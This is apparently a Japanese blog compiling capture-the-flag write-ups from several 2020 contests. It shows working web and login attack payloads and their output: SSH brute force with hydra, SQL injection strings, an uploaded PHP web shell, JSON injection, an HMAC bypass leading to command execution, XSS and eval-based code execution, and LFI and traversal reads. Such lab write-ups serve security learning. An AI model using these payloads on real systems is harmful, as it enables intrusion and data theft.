kanyewest CTF

勉強したことをメモしています。

#kksctf open 2020: Write up

Web

Lynx

ふつうにアクセスすると

You are not lynx, access denied

といわれる。

Lynxがなにか調べてみるとブラウザっぽいのでUser-Agentを偽装すればアクセスできそう。

User-Agent: Lynx/2.8.5rel.1 libwww-FM/2.15FC SSL-MM/1.4.1c OpenSSL/0.9.7e-devを指定してアクセスすると

        <!DOCTYPE html>
<html>
    <head>
        <title>Code panel</title>
        <script type="text/javascript" src="code.js"></script>
    </head>
    <body>
        <center> WELCOME </strong>








        </br>
        </br>
        </br>
        <p>Let's defend our friend - Lynx - from robots!</p>
        </br>
        </br>
        </br>
        </br>
        </br>
        </br>
        </br>








        <footer> 
        <center>(C) BluePeace, 2053</center>
        </footer>
    </body>

robots.txtになんかありそうなので/robots.txtにアクセスすると

        User-agent: *
        Disallow: /a4d81e99fda29123aee9d4bb

/a4d81e99fda29123aee9d4bbにアクセスするとflagがでてくる。

flag: kks{s0m3_CLI_br0ws3rs_4r3_us3ful}

ハッキングコンテストin京都スマートシティエキスポ2020: Write up

0 decode(Very Easy)

$ echo -n 'RkxBR19reW90b3NtYXJ0Y2l0eWV4cG8=' | base64 -d
FLAG_kyotosmartcityexpo

1-1 FTP(Very Easy)

f:id:tekashi:20201212110719p:plain

1-2 SSH avoidance(Very Easy)

 hydra -L user.txt -P password.txt 54.150.39.201 -s 52222 ssh     255 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-11 21:14:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:100/p:100), ~625 tries per task
[DATA] attacking ssh://54.150.39.201:52222/
[52222][ssh] host: 54.150.39.201   login: admin   password: password
$ ssh admin@54.150.39.201 -p 52222                                 255 ⨯
The authenticity of host '[54.150.39.201]:52222 ([54.150.39.201]:52222)' can't be established.
ECDSA key fingerprint is SHA256:K7NbGooE0P1B3L7BaC/or41slf4l+P8sfJSR71TtqIc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[54.150.39.201]:52222' (ECDSA) to the list of known hosts.
admin@54.150.39.201's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1030-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Dec 12 02:09:52 2020 from 115.124.149.87
admin@58d2aec14ceb:~$ ls
flag.txt  q6
admin@58d2aec14ceb:~$ cat flag.txt 
FLAG_jbSSTdXTLCc4aadmin@58d2aec14ceb:~$

2-1 basic authentication(Easy)

f:id:tekashi:20201212112912p:plain

6-1 exploration(Very Easy)

$ strings q6_backend_1.1
authUT
dmVyc2lvbjoxLjEsbmFtZTphZG1pbixwYXNzd29yZDpGTEFHX2UwclBGR0dlNkhha3Y=
contents.phpUT
"ip4h
{Y`SL

6yAx
Cj>Ks6
wIvS
t#Yt
authUT
contents.phpUT
(base) 13:18 ~/Downloads $ echo -n 'dmVyc2lvbjoxLjEsbmFtZTphZG1pbixwYXNzd29yZDpGTEFHX2UwclBGR0dlNkhha3Y=' | base64 -
d
version:1.1,name:admin,password:FLAG_e0rPFGGe6Hakv

7-1 hidden flag(Very Easy)

flag: FLAG_iZAPDhs3T2iYS

6-2 authentication avoidance(Easy)

username='+OR+1=1--&password=

f:id:tekashi:20201212132606p:plain

flag: FLAG_RqWGsVKFAQMUn

4-1 breakthrough(Easy)

f:id:tekashi:20201212132938p:plain

ログイン画面があって6文字以上のパスワードを求められる。ソースコードをみると

f:id:tekashi:20201212132926p:plain

パスワードは1234なので足りない分を%00で補うとログインできる。

username=user1&password=1234%00%00

f:id:tekashi:20201212133030p:plain

flag: FLAG_ajiofeijljkjsdklajie

6-3 clairvoyance(Medium)

f:id:tekashi:20201212135431p:plain

うまく更新ファイルをアップロードすれば任意のコード実行できそうだとわかる。

適当なファイルをアップロードしてもZIPの形式、またはパスワードが違いますと怒られるので既存のバージョン1.1の更新ファイルを参考にExploitできるファイルをつくる。

1.1.zipの中にあるcontents.php<?php echo shell_exec($_GET['p']);?>を追加して圧縮、アップロードする。

$ zip -rm 1.2.zip auth contents.php
  adding: auth (stored 0%)
  adding: contents.php (deflated 43%)

http://18.177.208.49/tmp/72386217aab504b7e38ee7c28415f2e1a9717101982109dec8.php?p=cat%20flag.phpflag.phpファイルを参照しようとするが

f:id:tekashi:20201212135742p:plain

root奪取しないといけないのかと一瞬焦ったがソースコードみたらFLAGがあった。

f:id:tekashi:20201212135822p:plain

flag: FLAG_ZaKKC00Wn9nis

5-1 Discovery key(Easy)

apkファイルはよくわからないのでapktoolつかって適当にデコードしたらAndroidManifest.xmlにFLAGがあった。

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.example.getcoupon" platformBuildVersionCode="30" platformBuildVersionName="11">
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.GetCoupon" android:usesCleartextTraffic="true">
        <meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="FLAG_2NHxcrKRph73j"/>
        <activity android:name="com.example.getcoupon.GetCouponActivity"/>
        <activity android:name="com.example.getcoupon.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>

boot2root 2020: Write up

Web

Dr Jason

const express = require('express');
const bodyParser = require('body-parser');
var cors = require('cors');
require('dotenv').config();

const app = express();
app.use(bodyParser.json({extended: false}));
app.use(cors());

app.post('/flag',async (req,res)=>{
    if (!req.body.name || typeof req.body.name !== 'string') {
        res.status(400).json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }
    const name = req.body.name;
    var token = `{"admin":0,"name":"${name}"}`
    try{
        token = JSON.parse(token);
    }
    catch{
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }
    if(token.admin === 1){
        res.json({success: true, flag: process.env.FLAG})
    }
    else{
        res.json({success: false, error: 'You are not admin'});
    }
})
app.listen(3000)

POSTしてリクエストのbodyをname変数に代入して{"admin":0,"name":"${name}"}に埋め込んでます。admin=1であればflagがでてくる。

aaa","admin":1,"aa":"aaをnameに代入するといい感じにadmin=1になる。

POST /flag HTTP/1.1
Host: 67.205.134.115:46910
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://67.205.134.115:46911/
Content-Type: application/json
Origin: http://67.205.134.115:46911
Content-Length: 40
Connection: close

{"name":"aaa\",\"admin\":1,\"aa\":\"aa"}
{"success":true,"flag":"b00t2root{js0n_1nj3ct10n}"}

flag: b00t2root{js0n_1nj3ct10n}

Buggy PHP

 <?php
require('req.php');
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
show_source("index.php");
if (empty($_GET['hash']) || empty($_GET['cmd']) || empty($_GET['tmp'])){
    exit;
}

$key = getenv('KEY');

if(isset($_GET['tmp']))
    $key = hash_hmac('sha256',$_GET['tmp'],$key);

$hash = hash_hmac('sha256',$_GET['cmd'],$key);

if ($hash !== $_GET['hash']) {
    echo "NO flag for you";
    exit;
}

$cmd = preg_replace($filter, '', $_GET['cmd']);
echo exec("cmd ".$cmd);
?> 

hash_hmac関数になんかしら脆弱な仕様あったらいいなと思って調べたらでてきた。

www.securify.nl

これを参考にtmpパラメータに配列を渡すことによってkeyなしでハッシュ化してるのとおなじになる。つまり、OSコマンド実行したいコマンドをcmdパラメータに設定してそれをハッシュ化かしたものをhashパラメータに与えれば今回のHMACをbypassできる。

$ php index.php
83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395

http://165.22.179.69/?hash=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&tmp[]=&cmd=;dir

Warning: hash_hmac() expects parameter 2 to be string, array given in /var/www/html/index.php on line 14
index.php req.php

http://165.22.179.69/?hash=73151c410bd57749e919171f0480a238d3137148b7f589f8db2975474860231c&tmp[]=&cmd=;echo%20%27cat%20req.php%27で確認すると

Warning: hash_hmac() expects parameter 2 to be string, array given in /var/www/html/index.php on line 14
req.

上記のようにechoを利用してfilterされてる文字列を確認していきbypassするように文字列を組み合わせると;ccatat req.p?p|babase64se64req.phpの中身をbase64エンコードした結果が得られる。

$ echo -n 'YjAwdDJyb290e0J1OTl5X3BIcF9DaDRsbDNuOTNzfSc7Cj8' | base64 -d
b00t2root{Bu99y_pHp_Ch4ll3n93s}';

flag: b00t2root{Bu99y_pHp_Ch4ll3n93s}

taskCTF: Write up

Web

Caesar Cipher Translator

"><script>alert("TEST");</script>と入力すると

f:id:tekashi:20201206121652p:plain

f:id:tekashi:20201206121626p:plain

"><fpevcg>nyreg("vawrpgrq");</fpevcg>

<script>タグ使わない方法ということで "><img src=1 onerror='alert("injected")'/>

f:id:tekashi:20201206161204p:plain

f:id:tekashi:20201206161121p:plain

flag: taskctf{n1ce_inject10n!}

Evil Eval

<?php
$result = "";
    if (isset($_GET['data'])) {
        $data = $_GET['data'];
        $raw = base64_decode($data);
        eval('$result = ' . $raw . ';');
    }
?>
<html>
<head>
    <meta charset="utf-8">
    <title>result</title>
</head>
<body>
    <h1>結果</h1>
    <p><?= $result ?></p>
</body>
</html>
$ echo -n 'system("ls");' | base64
c3lzdGVtKCJscyIpOw==
$ echo -n 'system("cat flag.txt");' | base64
c3lzdGVtKCJjYXQgZmxhZy50eHQiKTs=

f:id:tekashi:20201206120927p:plain

flag: taskctf{eval_1s_b4d_h4bit}

Gacha

func gachaHandler(w http.ResponseWriter, r *http.Request) {
    seed := r.FormValue("seed")
    if len(seed) == 0 {
        seed = "1"
    }
    seedInt, err := strconv.Atoi(seed)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }

    // get current time(HHmmss)
    jst := time.FixedZone("Asia/Tokyo", 9*60*60)
    nowStr := time.Now().In(jst).Format("150405")
    log.Println(nowStr)
    nowInt, err := strconv.Atoi(nowStr)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }

    sm := (seedInt + nowInt) % 100000
    log.Println(sm)
    var flag map[string]string

    if sm == 1337 {
        flag = map[string]string{
            "flag": "taskctf{this_is_dummy_flag}",
        }
    }

与えられたファイルを読むと(seedInt + nowInt) % 100000が1337になればflagが出てくる。 またseeed値はユーザが勝手に設定できるっぽい。

適当にスクリプト書いて総当りしてたらflag出てきた。

import requests

url = "http://34.82.49.144:3334/?seed="

for i in range(177770,10000000):
    tmp = url + str(i)
    print("url: ",tmp) 
    res = requests.get(url=tmp)
    print(res.text)
{"flag":"You might not have a luck...","sum":"1329"}
url:  http://34.82.49.144:3334/?seed=177785
{"flag":"You might not have a luck...","sum":"1330"}
url:  http://34.82.49.144:3334/?seed=177786
{"flag":"You might not have a luck...","sum":"1332"}
url:  http://34.82.49.144:3334/?seed=177787
{"flag":"You might not have a luck...","sum":"1333"}
url:  http://34.82.49.144:3334/?seed=177788
{"flag":"You might not have a luck...","sum":"1334"}
url:  http://34.82.49.144:3334/?seed=177789
{"flag":"You might not have a luck...","sum":"1335"}
url:  http://34.82.49.144:3334/?seed=177790
{"flag":"taskctf{Y0u_h4ve_4_gre4t_luck}"}

flag: taskctf{Y0u_h4ve_4_gre4t_luck}

Shakti CTF: Write up

Web

AuthEN

ソースコードをみると

                <script>
                $(“.c_submit”).click(function(event) {
 event.preventDefault()
 var email = $(“#cuser”).val();
 var password = $(“#cpass”).val();
 if(username == “admin” && password == String.fromCharCode(115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125)) {
 if(document.location.href.indexOf(“?password=”) == -1) { 
 document.location = document.location.href + “?password=” + password;
 }
 } else {
 $(“#cresponse”).html(“<div class=’alert alert-danger’>Wrong password sorry.</div>”);
 }
 })
                </script>

と書かれているので

115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125

を変換すればいいことがわかる。

>>> str="115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125"
>>> str_list = str.split(", ")
>>> flag = ''
>>> for i in str_list:
...     flag += chr(int(i))
...
>>> flag
'shaktictf{b3y0nd_pur3_c4lculati0ns}'

Machine

http://34.72.245.53/Web/Machine/robots.txtにアクセスすると

User-agent: *
Allow: /var/www/html/
Disallow: /mkiujnbhytgbvfr.html

と出てくるので

http://34.72.245.53/Web/Machine/mkiujnbhytgbvfr.htmlにアクセスするだけ。

Biscuits

httpリクエストのクッキーを見るだけ。

f:id:tekashi:20201205141905p:plain

Ador

f:id:tekashi:20201205143017p:plain

ソースコードをみると

<!-- try the parameter `name` user -->

といわれてるので

http://104.198.67.251/Ador/?name=adminにアクセスすると

f:id:tekashi:20201205143028p:plain

Doors

ソースコード

<!-- ?page -->

って書いてあったので適当にパラメータに値を渡したら入力をそのまま出力していたのでXSSで南下するのかと思ったら単純に/etc/passwdを渡したらLFIの脆弱性があってそのままflagが出てきました。

http://35.225.9.113/Doors/?page=/etc/passwd

f:id:tekashi:20201205165326p:plain

PharAway

flag1

http://34.72.245.53/Web/PHPhar/?secret=1337aaaaaaaaa

f:id:tekashi:20201205171346p:plain

flag1はAn4ly71c4l_

flag2

sha1を衝突させる必要があるので

www.linkedin.com

これを参考にpython3用にスクリプトを書き換える。

import requests
import urllib
rotimi = urllib.request.urlopen(url="http://shattered.io/static/shattered-1.pdf").read()[:500];
letmein = urllib.request.urlopen(url="http://shattered.io/static/shattered-2.pdf").read()[:500];
 
r = requests.get('http://34.72.245.53/Web/PHPhar/', params={'secret': '1337aaaaaaaaa','a': rotimi, 'b': letmein});
print(r.text)

flag2はEng1n3

flag3

if (!isset($_GET["md4"]))
{
    
    die();
}

if ($_GET["md4"] == hash("md4", $_GET["md4"]))
{
    echo "<h1>".$flag[3]."</h1>";
}
else
{
    echo "bad";
}

stackoverflow.com

を参考にする。

<?php
$n = 0;
while (1) {
    $s = "0e$n";
    //echo "$s\n";
    $h = hash("md4",$s);
    if ($s == $h) break;
    $n++;
}
echo "$s : $h\n";
$ php solve.php
0e251288019 : 0e874956163641961271069404332409

flag3は!=D1ff3r3nc3

flag4

if (isset($_GET['abc'])){
    if (!strcasecmp ($_GET['abc'], $flag[4])){
        echo $flag[4];}}

hydrasky.com

を参考にする

http://34.72.245.53/Web/PHPhar/?secret=1337aaaaaaaaa&abc[]=0&md4:embed:cite

flag4はbad_Eng1n3}

よって、flagはshaktictf{An4ly71c4l_Eng1n3!=D1ff3r3nc3_Eng1n3}

Cryptography

3,2,1..Go

f:id:tekashi:20201205000058j:plain

enigmaで復号できることがわかる。

www.dcode.fr

このサイトで復号する

f:id:tekashi:20201205000202p:plain

よってflagはshaktictf{you_have_cracked_the_enigma_genius}

Easy Encoding

与えられた数字が2進数なので変換する。

f:id:tekashi:20201205000537p:plain

base64エンコードされてるっぽいので

$ echo -n 'NzM2ODYxNmI3NDY5NjM3NDY2N2I1NzM0NzI2ZDU1NzA1ZjQzNjgzNDZjNmMzMzZlNjczMzdk' | base64 -d
7368616b74696374667b5734726d55705f4368346c6c336e67337d

今度はハッシュ値っぽいので

f:id:tekashi:20201205000450p:plain

flagがでてきた。

Ancient Warfare

ただのROT13

f:id:tekashi:20201205000748p:plain

Reversing

Just-Run-It!

$ strings run
/lib64/ld-linux-x86-64.so.2
libc.so.6
printf
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
Here's your flag! : shaktictf{and_that's_how_you_run_a_linux_binary!}
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
run.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

PYthn

もとのスクリプト

Z=[]
k=[]
Q="K78m)hm=|cwsXhbH}uq5w4sJbPrw6"
def Fun(inp):
    st=[]
    for i in range (len(inp)):
        st.append(chr(ord(inp[i])^1))
    return(''.join(st))

def FuN(inp):
    for i in range(len(inp)):
        if(i<11):
            Z.append(chr(ord(inp[i])+i+5))
        else:
            Z.append(chr(ord(inp[i])+4))      
    return(''.join(Z))

def fuN(text,s): 
    result = "" 
    for i in range(len(text)): 
        char = text[i] 
        if(char.isnumeric()):
            result+=(chr(ord(char)-1))
        elif(char.isupper()): 
            result += chr((ord(char) + s-65) % 26 + 65) 
        else: 
            result+=(chr(ord(char)^1))
    return result 

X=input("Enter input:")
k=FuN(Fun(X))
if(Q!=k):
    print("NO")
else:
    print("Flag: shaktictf{"+X+"}")

なので

def Fun_reverse(inp):
    st=[]
    for i in range (len(inp)):
        st.append(chr(ord(inp[i])^1))
    return(''.join(st))

def FuN_reverse(inp):
    for i in range(len(inp)):
        if(i<11):
            Z.append(chr(ord(inp[i])-i-5))
        else:
            Z.append(chr(ord(inp[i])-4))      
    return(''.join(Z))

flag = Fun_reverse(FuN_reverse(Q))
print(flag)

を追加する。

$ python3 PYthn.py
G00d!_c0nTinUe_Expl0r1nG_Mor3

Damez

$ strings damez
/lib64/ld-linux-x86-64.so.2
-'o

libc.so.6
exit
fopen
puts
__stack_chk_fail
printf
strlen
__isoc99_fscanf
fclose
__cxa_finalize
strcmp
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.7
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
$u1H
[]A\A]A^A_
input.txt
Error! file input.txt not found
shaktictf{K33p_th3_gam3_g0ing_gurl!}
You got it! Flag: %s
Try Again! :)
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
damez.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__isoc99_fscanf@@GLIBC_2.7
puts@@GLIBC_2.2.5
_edata
fclose@@GLIBC_2.2.5
strlen@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
fopen@@GLIBC_2.2.5
exit@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

Forensics

Shark on Wire

f:id:tekashi:20201205194845p:plain

Not That Easy

f:id:tekashi:20201205201513p:plain

f:id:tekashi:20201205201529p:plain

画像っぽいので取り出してみると

f:id:tekashi:20201205201546p:plain

QRコードが出てきました。

tool-taro.com

このサイトで読み取ってみると

f:id:tekashi:20201205201624p:plain

Pwn

Connect

$ nc 34.72.218.129 1111
You have successfully connected to our service!
To get your flag, please enter the appropriate bash commands.
cat flag.txt
shaktictf{w3lc0me_t0_th3_ar3na_c0mrade}

WaniCTF 2020: Write up

Web

DevTools_1

ソースコード見るだけ。 f:id:tekashi:20201121220415p:plain

DevTools_2

問題文の通りにここを書き換えるだけ f:id:tekashi:20201121220624p:plain f:id:tekashi:20201121220634p:plain

Simple Memo

../を1回replaceされるだけなので....//とすることでbypassできる

問題文にある通りディレクトリトラバーサル脆弱性があるのでhttps://simple.wanictf.org/index.php?file=....//....//....//....//....//var/www/html/flag.txtにアクセスするとflagが取れる。

striped table

適当にやったらxss発火した

f:id:tekashi:20201121221051p:plain

SQL Challenge 1

https://sql1.wanictf.org/index.php?year=(1)or(1)=(1)

NACTF: Write up

Web

Missing Image

ソースコード<img src="http://challenges.nactf.com/flag.png" alt="">と書かれてるがこれはアクセスできない。

https://hidden.challenges.nactf.com/flag.pngに変えてアクセスするとflagが出てくる。

https://hidden.challenges.nactf.com/flag.png

Login

適当にSQLインジェクションっぽい文字列打ってたらflag出てきて謎

f:id:tekashi:20201031124812p:plain

flag: nactf{sQllllllll_1m5qpr8x}

Calculator

POST /index.php HTTP/1.1
Host: calculator.challenges.nactf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: https://calculator.challenges.nactf.com
Connection: close
Referer: https://calculator.challenges.nactf.com/index.php
Upgrade-Insecure-Requests: 1

input=system("cat+index.php|base64")
HTTP/1.1 200 OK
Content-Length: 2157
Content-Type: text/html; charset=UTF-8
Date: Sun, 01 Nov 2020 04:56:05 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/7.4.12
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <!-- Compiled and minified CSS -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <title>Calculator</title>
</head>
<body class="black">
<h1 class="center red-text" style="padding-bottom: 75px">The Best and Most Secure Calculator Ever</h1>
<div class="container">
    PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0
PSJVVEYtOCI+CiAgICA8IS0tIENvbXBpbGVkIGFuZCBtaW5pZmllZCBDU1MgLS0+CiAgICA8bGlu
ayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWph
eC9saWJzL21hdGVyaWFsaXplLzEuMC4wL2Nzcy9tYXRlcmlhbGl6ZS5taW4uY3NzIj4KCiAgICA8
dGl0bGU+Q2FsY3VsYXRvcjwvdGl0bGU+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImJsYWNrIj4KPGgx
IGNsYXNzPSJjZW50ZXIgcmVkLXRleHQiIHN0eWxlPSJwYWRkaW5nLWJvdHRvbTogNzVweCI+VGhl
IEJlc3QgYW5kIE1vc3QgU2VjdXJlIENhbGN1bGF0b3IgRXZlcjwvaDE+CjxkaXYgY2xhc3M9ImNv
bnRhaW5lciI+CiAgICA8P3BocAogICAgJGZsYWcgPSAibmFjdGZ7ZXYxbF9ldmFsfSI7CiAgICBp
ZiAoaXNzZXQoJF9QT1NUWyJpbnB1dCJdKSkgewogICAgICAgICRpbnB1dCA9ICRfUE9TVFsiaW5w
dXQiXTsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjZW50ZXIgd2hpdGUtdGV4dCIgc3R5bGU9
InBhZGRpbmctYm90dG9tOiA1MHB4Ij48aDM+JyAuICRpbnB1dCAuICIgPSAiIC4gZXZhbCgicmV0
dXJuICgkaW5wdXQpOyIpIC4gJzwvaDM+PC9kaXY+JzsKICAgIH0KICAgID8+CiAgICA8Zm9ybSBh
Y3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1
dC1maWVsZCI+CiAgICAgICAgICAgIDxpbnB1dCBwbGFjZWhvbGRlcj0iVHlwZSBhbnkgZXhwcmVz
c2lvbiEiIG5hbWU9ImlucHV0IiB0eXBlPSJ0ZXh0IiBjbGFzcz0id2hpdGUtdGV4dCI+CiAgICAg
ICAgPC9kaXY+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xh
c3M9ImJ0biI+CiAgICA8L2Zvcm0+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4=
<div class="center white-text" style="padding-bottom: 50px"><h3>system("cat index.php|base64") = c3M9ImJ0biI+CiAgICA8L2Zvcm0+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4=</h3></div>    <form action="index.php" method="post">
        <div class="input-field">
            <input placeholder="Type any expression!" name="input" type="text" class="white-text">
        </div>
        <input type="submit" value="Submit" class="btn">
    </form>
</div>
</body>
</html>
$ echo -n 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0
PSJVVEYtOCI+CiAgICA8IS0tIENvbXBpbGVkIGFuZCBtaW5pZmllZCBDU1MgLS0+CiAgICA8bGlu
ayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWph
eC9saWJzL21hdGVyaWFsaXplLzEuMC4wL2Nzcy9tYXRlcmlhbGl6ZS5taW4uY3NzIj4KCiAgICA8
dGl0bGU+Q2FsY3VsYXRvcjwvdGl0bGU+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImJsYWNrIj4KPGgx
IGNsYXNzPSJjZW50ZXIgcmVkLXRleHQiIHN0eWxlPSJwYWRkaW5nLWJvdHRvbTogNzVweCI+VGhl
IEJlc3QgYW5kIE1vc3QgU2VjdXJlIENhbGN1bGF0b3IgRXZlcjwvaDE+CjxkaXYgY2xhc3M9ImNv
bnRhaW5lciI+CiAgICA8P3BocAogICAgJGZsYWcgPSAibmFjdGZ7ZXYxbF9ldmFsfSI7CiAgICBp
ZiAoaXNzZXQoJF9QT1NUWyJpbnB1dCJdKSkgewogICAgICAgICRpbnB1dCA9ICRfUE9TVFsiaW5w
dXQiXTsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjZW50ZXIgd2hpdGUtdGV4dCIgc3R5bGU9
InBhZGRpbmctYm90dG9tOiA1MHB4Ij48aDM+JyAuICRpbnB1dCAuICIgPSAiIC4gZXZhbCgicmV0
dXJuICgkaW5wdXQpOyIpIC4gJzwvaDM+PC9kaXY+JzsKICAgIH0KICAgID8+CiAgICA8Zm9ybSBh
Y3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1
dC1maWVsZCI+CiAgICAgICAgICAgIDxpbnB1dCBwbGFjZWhvbGRlcj0iVHlwZSBhbnkgZXhwcmVz
c2lvbiEiIG5hbWU9ImlucHV0IiB0eXBlPSJ0ZXh0IiBjbGFzcz0id2hpdGUtdGV4dCI+CiAgICAg
ICAgPC9kaXY+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xh
c3M9ImJ0biI+CiAgICA8L2Zvcm0+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4=' | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <!-- Compiled and minified CSS -->
